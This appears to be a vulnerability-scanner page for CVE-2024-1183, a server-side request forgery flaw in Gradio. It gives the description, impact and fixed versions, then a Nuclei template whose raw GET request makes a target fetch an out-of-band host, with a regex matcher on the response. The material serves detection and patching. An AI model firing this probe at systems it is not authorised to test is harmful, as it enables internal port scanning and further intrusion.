CVE-2024-1183· gradio project / gradio· CWE-601
Gradio - Server Side Request Forgery
An SSRF (Server-Side Request Forgery) vulnerability exists in the gradio-app/gradio repository, allowing attackers to scan and identify open ports within an internal network. By manipulating the 'file' parameter in a GET request, an attacker can discern the status of internal ports based on the presence of a 'Location' header or a 'File not allowed' error in the response.
Impact
Unauthenticated attackers can perform SSRF attacks to scan and identify open ports within internal networks, potentially facilitating further attacks.
Fix
Upgrade Gradio to version 3.33 or later (for Gradio < 3.x) or version 4.11 or later (for Gradio 4.x).
How to confirm it
Send: GET /file=http://oast.pro
Positive when: matches in header /(?m)^(?:Location\s*?:\s*?)(?:https?://|//)(?:[a-zA-Z0-9\-_\.@]*)oast\.pro.*$/Run it with nuclei: nuclei -id CVE-2024-1183 -u <target>
The full check
id: CVE-2024-1183
info:
name: Gradio - Server Side Request Forgery
author: DhiyaneshDK
severity: medium
description: |
An SSRF (Server-Side Request Forgery) vulnerability exists in the gradio-app/gradio repository, allowing attackers to scan and identify open ports within an internal network. By manipulating the 'file' parameter in a GET request, an attacker can discern the status of internal ports based on the presence of a 'Location' header or a 'File not allowed' error in the response.
impact: |
Unauthenticated attackers can perform SSRF attacks to scan and identify open ports within internal networks, potentially facilitating further attacks.
remediation: |
Upgrade Gradio to version 3.33 or later (for Gradio < 3.x) or version 4.11 or later (for Gradio 4.x).
reference:
- https://github.com/gradio-app/gradio/commit/2ad3d9e7ec6c8eeea59774265b44f11df7394bb4
- https://huntr.com/bounties/103434f9-87d2-42ea-9907-194a3c25007c
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
cvss-score: 6.5
cve-id: CVE-2024-1183
cwe-id: CWE-601
epss-score: 0.01799
epss-percentile: 0.7866
cpe: cpe:2.3:a:gradio_project:gradio:*:*:*:*:python:*:*:*
metadata:
verified: true
max-request: 1
shodan-query: html:"__gradio_mode__"
product: gradio
vendor: gradio_project
tags: cve,cve2024,ssrf,oast,gradio,vuln
http:
- raw:
- |
GET /file=http://oast.pro HTTP/1.1
Host: {{Hostname}}
matchers:
- type: regex
regex:
- '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)(?:[a-zA-Z0-9\-_\.@]*)oast\.pro.*$'
part: headerReferences
- https://github.com/gradio-app/gradio/commit/2ad3d9e7ec6c8eeea59774265b44f11df7394bb4
- https://huntr.com/bounties/103434f9-87d2-42ea-9907-194a3c25007c
Use this check only on systems you are authorised to test. Where the data comes from